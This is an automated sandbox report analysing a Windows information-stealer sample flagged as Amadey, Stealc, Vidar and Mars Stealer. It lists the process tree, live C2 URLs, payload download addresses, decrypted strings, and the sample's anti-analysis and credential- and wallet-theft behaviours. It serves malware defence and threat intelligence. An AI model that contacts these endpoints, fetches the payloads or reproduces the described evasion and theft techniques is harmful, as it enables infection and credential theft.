Edit tour

Windows Analysis Report
tAa6xNsucX.exe

Overview

General Information

Sample name:	tAa6xNsucX.exe renamed because original name is a hash value
Original sample name:	b034eecf4642c53db4eeb735c813bc27.exe
Analysis ID:	1463440
MD5:	b034eecf4642c53db4eeb735c813bc27
SHA1:	d6fef1943e0ccafbad7586dc4ecb1edf6c0707b3
SHA256:	d23cadd6e905563f0dad2ad88ce087f7418641f43106f0816f68f66ab6f1f7e4
Tags:	32exetrojan
Infos:

Detection

Amadey, Mars Stealer, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected Amadeys stealer DLL

Yara detected Mars stealer

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

PE file has nameless sections

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

tAa6xNsucX.exe (PID: 6532 cmdline: "C:\Users\user\Desktop\tAa6xNsucX.exe" MD5: B034EECF4642C53DB4EEB735C813BC27)

cmd.exe (PID: 6052 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5692 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

HIIEBAFCBK.exe (PID: 3652 cmdline: "C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe" MD5: CFB92ADDB19E8F0E8ED0B50A6EE59519)

explortu.exe (PID: 5004 cmdline: "C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe" MD5: CFB92ADDB19E8F0E8ED0B50A6EE59519)

cmd.exe (PID: 5252 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\HCAAEGIJKE.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5844 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

explortu.exe (PID: 5040 cmdline: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe MD5: CFB92ADDB19E8F0E8ED0B50A6EE59519)

explortu.exe (PID: 7356 cmdline: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe MD5: CFB92ADDB19E8F0E8ED0B50A6EE59519)

explortu.exe (PID: 7752 cmdline: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe MD5: CFB92ADDB19E8F0E8ED0B50A6EE59519)

explortu.exe (PID: 8072 cmdline: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe MD5: CFB92ADDB19E8F0E8ED0B50A6EE59519)

explortu.exe (PID: 412 cmdline: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe MD5: CFB92ADDB19E8F0E8ED0B50A6EE59519)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/ https://bitsight.com/blog/unveiling-socks5systemz-rise-new-proxy-service-privateloader-and-amadey	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "85.28.47.4/920475a59bac849d.php"}

Threatname: Vidar

{"C2 url": "http://85.28.47.4/920475a59bac849d.php"}

Threatname: Amadey

{"C2 url": ["http://147.45.47.155/ku4Nor9/index.php"]}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000009.00000003.2377175817.0000000004920000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000010.00000002.4529146618.0000000000321000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000007.00000003.2330410037.0000000004F40000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000F.00000002.3931226693.0000000000321000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000A.00000002.2423428017.0000000000321000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2304071459.00000000007D5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000010.00000003.4488473362.0000000004C00000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000D.00000003.2689256533.0000000004B00000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000D.00000002.2729842906.0000000000321000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000009.00000002.4582173269.0000000000321000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000F.00000003.3890454750.0000000005140000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2305011823.0000000000BF1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000002.2305011823.0000000000BF1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
0000000E.00000002.3332406854.0000000000321000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000007.00000002.2374235761.0000000000C81000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000A.00000003.2383183776.0000000004B10000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000E.00000003.3292182479.0000000004F40000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: tAa6xNsucX.exe PID: 6532	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: tAa6xNsucX.exe PID: 6532	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: tAa6xNsucX.exe PID: 6532	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 15 entries

Unpacked PEs

Source	Rule	Description	Author
15.2.explortu.exe.320000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.2.tAa6xNsucX.exe.bf0000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.tAa6xNsucX.exe.bf0000.0.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
9.2.explortu.exe.320000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
7.2.HIIEBAFCBK.exe.c80000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
13.2.explortu.exe.320000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
14.2.explortu.exe.320000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
10.2.explortu.exe.320000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
16.2.explortu.exe.320000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 4 entries

Snort Signatures

ET TROJAN Win32/Stealc Requesting plugins Config from C2 - Source IP: 192.168.2.5 - Destination IP: 85.28.47.4

Timestamp:	06/27/24-07:37:07.703014
SID:	2044246
Source Port:	49705
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 - Source IP: 85.28.47.4 - Destination IP: 192.168.2.5

Timestamp:	06/27/24-07:37:07.882322
SID:	2051831
Source Port:	80
Destination Port:	49705
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc Requesting browsers Config from C2 - Source IP: 192.168.2.5 - Destination IP: 85.28.47.4

Timestamp:	06/27/24-07:37:07.524059
SID:	2044244
Source Port:	49705
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.5 - Destination IP: 85.28.47.4

Timestamp:	06/27/24-07:37:06.901028
SID:	2044243
Source Port:	49705
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc Active C2 Responding with browsers Config M1 - Source IP: 85.28.47.4 - Destination IP: 192.168.2.5

Timestamp:	06/27/24-07:37:07.701451
SID:	2051828
Source Port:	80
Destination Port:	49705
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: tAa6xNsucX.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://77.91.77.81/cost/go.exe	Avira URL Cloud: Label: phishing
Source: http://77.91.77.81/mine/amadka.exe	Avira URL Cloud: Label: phishing
Source: http://147.45.47.155/ku4Nor9/index.php	Avira URL Cloud: Label: phishing
Source: http://85.28.47.4/69934896f997d5bb/msvcp140.dll/O	Avira URL Cloud: Label: malware
Source: http://77.91.77.81/mine/amadka.exephprefoxox	Avira URL Cloud: Label: phishing
Source: http://85.28.47.4/69934896f997d5bb/mozglue.dll	Avira URL Cloud: Label: malware
Source: http://77.91.77.81/mine/amadka.exera	Avira URL Cloud: Label: phishing
Source: http://85.28.47.4/69934896f997d5bb/nss3.dll	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/69934896f997d5bb/msvcp140.dllNLu	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/69934896f997d5bb/softokn3.dll	Avira URL Cloud: Label: malware
Source: http://147.45.47.155/I	Avira URL Cloud: Label: phishing
Source: http://85.28.47.4/69934896f997d5bb/vcruntime140.dll	Avira URL Cloud: Label: malware
Source: http://147.45.47.155/ku4Nor9/index.phpm32	Avira URL Cloud: Label: phishing
Source: http://77.91.77.81/mine/amadka.exe00	Avira URL Cloud: Label: phishing
Source: http://85.28.47.4/69934896f997d5bb/freebl3.dll	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/920475a59bac849d.php	Avira URL Cloud: Label: malware
Source: http://77.91.77.81/cost/go.exepData	Avira URL Cloud: Label: phishing
Source: http://85.28.47.4/69934896f997d5bb/sqlite3.dll	Avira URL Cloud: Label: malware
Source: http://77.91.77.81/cost/go.exe00	Avira URL Cloud: Label: phishing
Source: http://147.45.47.155/ku4Nor9/index.phpo	Avira URL Cloud: Label: phishing
Source: 85.28.47.4/920475a59bac849d.php	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/69934896f997d5bb/msvcp140.dll	Avira URL Cloud: Label: malware
Source: http://85.28.47.4	Avira URL Cloud: Label: malware
Source: http://147.45.47.155/ku4Nor9/index.phpD	Avira URL Cloud: Label: phishing
Source: http://147.45.47.155/ku4Nor9/index.phpE	Avira URL Cloud: Label: phishing
Source: http://85.28.47.4/69934896f997d5bb/softokn3.dll#L	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/69934896f997d5bb/mozglue.dll0L	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\amadka[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://85.28.47.4/920475a59bac849d.php"}
Source: explortu.exe.5004.9.memstrmin	Malware Configuration Extractor: Amadey {"C2 url": ["http://147.45.47.155/ku4Nor9/index.php"]}
Source: tAa6xNsucX.exe.6532.0.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "85.28.47.4/920475a59bac849d.php"}

Multi AV Scanner detection for domain / URL

Source: http://77.91.77.81/cost/go.exe	Virustotal: Detection: 26%	Perma Link
Source: http://77.91.77.81/mine/amadka.exe	Virustotal: Detection: 27%	Perma Link
Source: http://147.45.47.155/ku4Nor9/index.php	Virustotal: Detection: 21%	Perma Link
Source: http://85.28.47.4/69934896f997d5bb/softokn3.dll	Virustotal: Detection: 6%	Perma Link
Source: http://85.28.47.4/69934896f997d5bb/mozglue.dll	Virustotal: Detection: 7%	Perma Link
Source: http://85.28.47.4/69934896f997d5bb/nss3.dll	Virustotal: Detection: 9%	Perma Link
Source: http://147.45.47.155/I	Virustotal: Detection: 5%	Perma Link
Source: http://85.28.47.4/69934896f997d5bb/vcruntime140.dll	Virustotal: Detection: 7%	Perma Link
Source: http://85.28.47.4/920475a59bac849d.php	Virustotal: Detection: 18%	Perma Link
Source: http://85.28.47.4/69934896f997d5bb/freebl3.dll	Virustotal: Detection: 6%	Perma Link
Source: http://85.28.47.4/69934896f997d5bb/sqlite3.dll	Virustotal: Detection: 21%	Perma Link
Source: 85.28.47.4/920475a59bac849d.php	Virustotal: Detection: 18%	Perma Link
Source: http://77.91.77.81/cost/go.exe00	Virustotal: Detection: 25%	Perma Link
Source: http://77.91.77.81/mine/amadka.exe00	Virustotal: Detection: 25%	Perma Link
Source: http://85.28.47.4/69934896f997d5bb/msvcp140.dll	Virustotal: Detection: 9%	Perma Link
Source: http://85.28.47.4	Virustotal: Detection: 14%	Perma Link

Multi AV Scanner detection for submitted file

Source: tAa6xNsucX.exe	Virustotal: Detection: 43%			Perma Link
Source: tAa6xNsucX.exe	ReversingLabs: Detection: 42%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\amadka[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: tAa6xNsucX.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: INSERT_KEY_HERE
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: GetProcAddress
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: LoadLibraryA
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: lstrcatA
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: OpenEventA
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: CreateEventA
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: CloseHandle
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: Sleep
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: VirtualFree
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: GetSystemInfo
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: VirtualAlloc
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: HeapAlloc
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: GetComputerNameA
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: lstrcpyA
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: GetProcessHeap
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: GetCurrentProcess
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: lstrlenA
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: ExitProcess
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: GetSystemTime
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: advapi32.dll
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: gdi32.dll
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: user32.dll
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: crypt32.dll
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: ntdll.dll
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: GetUserNameA
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: CreateDCA
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: GetDeviceCaps
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: ReleaseDC
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: sscanf
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: VMwareVMware
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: HAL9TH
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: JohnDoe
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: DISPLAY
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: %hu/%hu/%hu
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: http://85.28.47.4
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: /920475a59bac849d.php
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: /69934896f997d5bb/
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: default
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: GetFileAttributesA
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: GlobalLock
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: HeapFree
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: GetFileSize
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: GlobalSize
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: IsWow64Process
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: Process32Next
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: GetLocalTime
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: FreeLibrary
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: GetVolumeInformationA
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: Process32First
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: GetLocaleInfoA
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: GetModuleFileNameA
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: DeleteFileA
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: FindNextFileA
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: LocalFree
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: FindClose
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: LocalAlloc
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: GetFileSizeEx
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: ReadFile
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: SetFilePointer
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: WriteFile
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: CreateFileA
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: FindFirstFileA
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: CopyFileA
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: VirtualProtect
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: GetLastError
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: lstrcpynA
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: MultiByteToWideChar
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: GlobalFree
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: WideCharToMultiByte
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: GlobalAlloc
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: OpenProcess
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: TerminateProcess
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: GetCurrentProcessId
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: gdiplus.dll
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: ole32.dll
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: bcrypt.dll
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: wininet.dll
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: shlwapi.dll
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: shell32.dll
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: psapi.dll
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: rstrtmgr.dll
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: SelectObject
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: BitBlt
Source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack	String decryptor: DeleteObject

Source: C:\Users\user\Desktop\tAa6xNsucX.exe

Code function: 0_2_6C326C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6C326C80

Source: tAa6xNsucX.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source:	Binary string: mozglue.pdbP source: tAa6xNsucX.exe, 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
